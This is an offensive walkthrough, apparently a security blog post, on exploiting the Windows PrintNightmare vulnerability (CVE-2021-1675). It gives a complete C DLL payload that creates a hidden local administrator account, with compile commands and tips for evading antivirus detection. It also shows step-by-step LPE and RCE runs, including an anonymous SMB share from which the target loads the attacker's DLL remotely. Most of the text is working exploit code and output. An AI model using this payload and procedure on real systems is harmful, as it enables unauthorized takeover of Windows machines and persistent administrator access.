Exploiting Printnightmare (CVE-2021-1675)
Windows by design allows authenticated users to install and add drivers to a printer impersonating SYSTEM privileges, which could be exploited to achieve LPE and RCE (CVE-2021-1675). The only known mitigation for this vulnerability until this date (Wed, 21 July 2021) is to disable the print spooler service.
Local Privilege Escalation (LPE)
To elevate our privileges inside a host through Printnightmare (LPE), we can use the following exploit (developed by Caleb Stewart and John Hammond):
It is a pure powershell implementation of CVE-2021-1675 and I had more success with this one against AVs than those C# compiled binaries.
The powershell script by default will use a “nightmare.dll”, this dll is obviously already mapped by AVs and will be immediately detected. Let’s create our DLL. I will name it as “pwn.dll”:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("cmd.exe /c net user ferreirasc BadPass1BadPass3 /add /y 2>C:\\error.txt");
system("cmd.exe /c net localgroup administrators ferreirasc /add");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Note: The password BadPass1BadPass3 will comply the most existing password policies… the flag /y is important to bypass that warning indicating that “Windows prior to Windows 2000” will not be able to use this account blablabla…
Compile it using gcc-mingw-w64-x86-64:
apt-get install gcc-mingw-w64-x86-64
x86_64-w64-mingw32-gcc pwn.c -o pwn.dll -shared
Now, inside the host:
PS C:\Users\regular_user\Desktop> Import-Module .\CVE-2021-1675.ps1
PS C:\Users\regular_user\Desktop> Invoke-Nightmare -DLL "C:\Users\regular_user\AppData\Local\Temp\pwn.dll" -DriverName "mydriver"
[+] using user-supplied payload at C:\Users\regular_user\AppData\Local\Temp\pwn.dll
[!] ignoring NewUser and NewPassword arguments
[+] using pDriverPath = "C:\WINDOWS\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll"
[+] driver appears to have been loaded!
If you get an output like that, probably the exploit completed successfully and a new local administrator user was added! :^)
If it did not work, a troubleshooting start could be:
- Check the ERR file… C:\error.txt.
- Check the spoolsv.exe on Process Explorer when running the exploit. Enable DLLs view… View > Lower Pane View > DLLs.
- See if the driver “mydriver” was really added. Powershell “Get-PrinterDriver -Name *” should do the work. I would also check details about the driver… “Get-PrinterDriver -Name “mydriver” | Format-List” … can you see your DLL mapped on DataFile and ConfigFile?
4) Why not… check if spooler service is really running. lol… Run > services.msc … check for “Print Spooler”.
Remote Code Execution (RCE)
To achieve RCE, we can use the following exploit (from cube0x0):
- https://github.com/cube0x0/CVE-2021-1675
I’ve never tested the C# implementation, so the steps ahead will be applied to the impacket implementation.
In order to check if the host is vulnerable to PrintNightmare, simply run (using as an example the target 192.168.1.1):
rpcdump.py @192.168.1.1 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol
If you get a message like this, the host is probably vulnerable. If you need to check the vulnerability in a network range, a way could be using the ItWasAllADream from byt3bl33d3r (github.com/byt3bl33d3r/ItWasAllADream).
Proceeding, let’s create our “pwn.dll” DLL:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("cmd.exe /c net user ferreirasc BadPass1BadPass3 /add /y 2>C:\\error.txt");
system("cmd.exe /c net localgroup administrators ferreirasc /add");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Compile it using gcc-mingw-w64-x86-64:
apt-get install gcc-mingw-w64-x86-64
x86_64-w64-mingw32-gcc pwn.c -o /tmp/pwn.dll -shared
Now let’s prepare the environment to run the exploit. This exploit uses a modified version of impacket… so:
git clone https://github.com/cube0x0/CVE-2021-1675
cd CVE-2021-1675
git clone https://github.com/cube0x0/impacket
python3 -m venv venv
source venv/bin/activate
cd impacket/
python3 setup.py install
Having installed the “cube0x0” version of impacket, let’s prepare our smb server to host the pwn.dll. I’m gonna use the pre-installed samba instead of smbclient.py (from impacket), as I had no success with smbclient.py for some reason.
Copy the https://raw.githubusercontent.com/ferreirasc/scripts/master/smb.conf to your /etc/samba/smb.conf.
wget https://raw.githubusercontent.com/ferreirasc/scripts/master/smb.conf -O /etc/samba/smb.conf
Basically, this conf file is allowing anonymous access to a SMB share located at /srv/smb for the user nobody. Thus, let’s create this folder:
mkdir -p /srv/smb
cp /tmp/pwn.dll /srv/smb
chown -R nobody:root /srv/smb/
chmod 777 /srv/smb/pwn.dll
service smbd restart
Check with crackmapexec if the smb share is running:
┌──(venv)(root💀kali)-[/tmp/CVE-2021-1675]
└─ crackmapexec smb 127.0.0.1 -u '' -p '' --shares
SMB 127.0.0.1 445 KALI [*] Windows 6.1 Build 0 (name:KALI) (domain:) (signing:False) (SMBv1:False)
SMB 127.0.0.1 445 KALI [+] \:
SMB 127.0.0.1 445 KALI [+] Enumerated shares
SMB 127.0.0.1 445 KALI Share Permissions Remark
SMB 127.0.0.1 445 KALI ----- ----------- ------
SMB 127.0.0.1 445 KALI smb READ,WRITE Samba
SMB 127.0.0.1 445 KALI print$ Printer Drivers
SMB 127.0.0.1 445 KALI IPC$ IPC Service (Samba 4.13.4-Debian)
Ok… everything looks right… let’s run the exploit:
- Kali box: 192.168.1.2
- Target: 192.168.1.1
┌──(venv)(root💀kali)-[/tmp/CVE-2021-1675]
└─ python3 CVE-2021-1675.py 'LAB.LOCAL/isecurity:BadPass42@192.168.1.1' '\\192.168.1.2\smb\pwn.dll'
[*] Connecting to ncacn_np:192.168.1.1[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_15f9259a029d56f4\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\192.168.1.2\smb\pwn.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
[*] Stage0: 0
If you get a message like this, the exploit should have completed successfully!